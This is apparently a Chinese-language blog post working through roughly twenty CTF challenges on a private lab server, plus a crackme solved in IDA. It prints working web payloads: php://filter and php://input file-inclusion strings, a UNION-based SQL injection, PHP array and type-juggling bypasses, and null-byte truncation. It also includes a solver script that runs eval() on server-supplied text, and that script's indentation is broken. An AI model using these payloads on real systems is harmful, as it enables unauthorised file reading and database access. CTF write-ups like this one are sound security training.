一次ctf题(2)

第一题

打开页面发现http://10.196.8.21:18083/calculate/

image-20191220163633946

利用python的requests库做计算,

import re

import requests

import time

url = 'http://10.196.8.21:18083/calculate/'

res = requests.session()

ans1 = res.get(url)

# print ans1.content

calc = re.findall(r">(.*?)</div>",ans1.content)

s = "".join(calc).strip('=')

ans = eval(s)

while True:
    try:
				print '[+]Attacked by 0verWatch'
				time.sleep(1)
				ans2 = res.post(*url*=url,*data*={"ans":ans}).content
				calc = re.findall(r">(.*?)</div>",ans2)
				s = "".join(calc).strip('=')
				ans = eval(s)
				except:
								print ans2
				break

image-20191220163734363

Susctf{gr3At_cAcu1a7or}

第二题

打开页面http://10.196.8.21:18083/faster/1ndex.php

image-20191220164548867

发现有一个index.php页面,bp抓包回显flag{U3VzY3Rme2Zhc3Rlcl9hc195b3VfY2FufQ}

image-20191220164638334

第4题

打开页面http://10.196.8.21:18083/iz/index.php,是代码审计

image-20191221092830810

三个preg_match过滤参数,请求参数不能出现_0和字符[A-Za-z0-9]

然后get请求_参数来传递,判断_参数如果是0,或者随机数字,输出标志

构造:http://10.196.8.21:18083/iz/index.php?.="进行绕过

image-20191221092958062

flag{e18a4e931495e8fc961acad1da3d670b39bb5b22}

第5题

打开页面http://10.196.8.21:18083/lfi/attachments/?file=flag

image-20191220104450242

是个假的flag,尝试修改flag文件,发现源文件位flag.php,

image-20191220104734541

flag隐藏在页面中,用php://filter/read=convert.base64-encode/resource=flag

image-20191220104835635

base64解密,发现还有一层加密,

image-20191220105059422

再次bese64解密

image-20191220105205641

nuaactf{trying_2_use_LFI_yeah_!}

第6题

http://10.196.8.21:18083/linghuang2018web/

用户名存在注入,sqlmap跑 ssrf库。 flag表。

image-20211224112508375

flag{c3NyZmRmYWV3cmRhZmRhZmFkc2Zkc2RzYWQ=}

正确flag{ 4827e733c37295ca9225100baf37e2a67a6ac3f6}

第7题

打开http://10.196.8.21:18083/put/页面回显,

image-20191220095811661

put me a message then you can get the flag,

联想到用firefox的F12功能编辑和发送;利用PUT给http://10.196.8.21:18083/put/发送一条message,然后在响应栏中看到回显base64加密

image-20191220095845492

利用python解密得flag{cmVxdWVzdF9pbl9wdXRfbWV0aG9k}

image-20191220095853548

第8题

打开http://10.196.8.21:18083/sign-in/attachments/说明了是签到题

image-20191220100044554

然后查看源码,发现nuaactf{buddha_b1ess_us_n0_bug_233}

image-20191220100118357

第9题

打开页面http://10.196.8.21:18083/sqli_twice/attachments/

image-20191220102722250

默认应该是index.php,尝试有没有备份文件呢,加上.bar看下,发现存在备份文件

image-20191220102859363

下载文件,查看源码,查找flag关键语句

显然 $_SESSION['user'] 是注入点,并且可以通过注册任意用户名来控制,然后就可以为所欲为了。

由于过滤不严格,只要使查询语句返回1就可以爆出flag,

me' and 1=0 union select 1#

image-20211224095728630

nuaactf{do_!_B_anxious_MY_friend.}

第11题

打开页面发现源码

image-20191220150622555

发现,存在正则过滤,用%00截断password[]=a%00

image-20191220150900795

flag{3a9f3478bc9a9ec348ea30534618d4592ad5a519}

第12题

打开http://10.196.8.21:18003/5c55674b83536ad3/index.php,回显密码为假

image-20191220100355322

应该是把输入的值与后台的值做比较,如果可以,输出标记。

image-20191220101047369

构造语句password []=0,回显flag{5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8}

第13题

打开页面http://10.196.8.21:18003/c569d1f25f24fc39/index.php

image-20191220151244561

当有2个is_numeric的时候,and后面的可以绕过,构造a=123456&b=asdads

image-20191220151421550

flag{9d42150fe917c3f9195e7fca2bb380baf00b0880}

第14题

打开页面http://10.196.8.21:18003/9630e9ba0442fa3a/index.php

image-20191220101514679

回显了一个先登录,去看下源码发现

image-20191220101624082

获得flag要求的条件是:username != password & sha1(username) == sha1(password),可以利用sha1()函数的漏洞来绕过。

image-20191220102244136

?username[]=1&password[]=9

flag{34891b0ddacecf35abf9983a79a3a83bc59296a5}

第15题

打开页面http://10.196.8.21:18003/abf20c91a442da48/index.html

image-20191220152154642

提示用本地包含,没看到传参,去index.php看看,发现page

image-20191220152300412

用本地文件包含php://filter读取文件,php://filter/read=convert.base64-encode/resource=./Y29uZmln.php

解密得:

第16题

打开页面http://10.196.8.21:18003/c9bf52aa72e0299b/index.php

image-20191220152707453

发现类似base64解密看看,发现flag{ThiS_a@ ,是flag一部分

目录扫描发现还有一个index.php.txt

image-20191220152840732

传参为a,get方式,传入一个值,回显缺失的值,ZmxhZ3tUaGlzX2lzX01pb19GbEFnfQ==

解密得flag{This_is_Mio_FlAg}

第17题

http://10.196.7.101:7005/file_filter/file_filter.php

伪协议包含./flag.php文件

image-20211224101042055

然后base64解密得到flag

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>本页面包含flag</title>
</head>
<body>
<p>本页面包含flag,请尝试获取!</p>
</body>
</html>

<?php
//Flag{4bb4ca75941b7bbc5bc6a12be44b22fc9c8d234e}
?>

第18题

http://10.196.7.101:7005/file_input/file_input.php

Php://input读取flag文件

image-20211224103913914

file=php://input	POST写入
<?php 
	$lines=file('flag.php');
	foreach($lines as $line_num => $line){ echo "Line #{$line_num} : ",$line,'';} 
?>

Flag{f876ccdbdd93d14ce97854cd465607825ca09551}

image-20211224104048384

第19题

第21题

下载文件用IDA打开,发现需要找到程序的破解密码,

首先运行Brad Soblesky.1.exe,发现出现输入对话框,可知可能是C++ MFC;需要输入字符,所以可能采用GetDlgItemText函数(这个就需要正向编程经验的积累了);通过输入和点击Check,发现弹出对话框,可以猜想,一定有条件语句比对输入是否正确。

image-20191222134137326

用IDA打开分析,1.未输入:弹出”Enter Registration Number”;

2.已输入:

  • 错误:弹出”Incorrect try again!!”;

  • 正确:弹出”Correct way to go!!”。

    image-20191222134447861

我们只需要找密码,关注正确的分支代码。

image-20191222134620058

然后就成功找到值,

image-20191222134713978

posted @ 2022-06-13 09:51  Rlins  阅读(505)  评论(0)    收藏  举报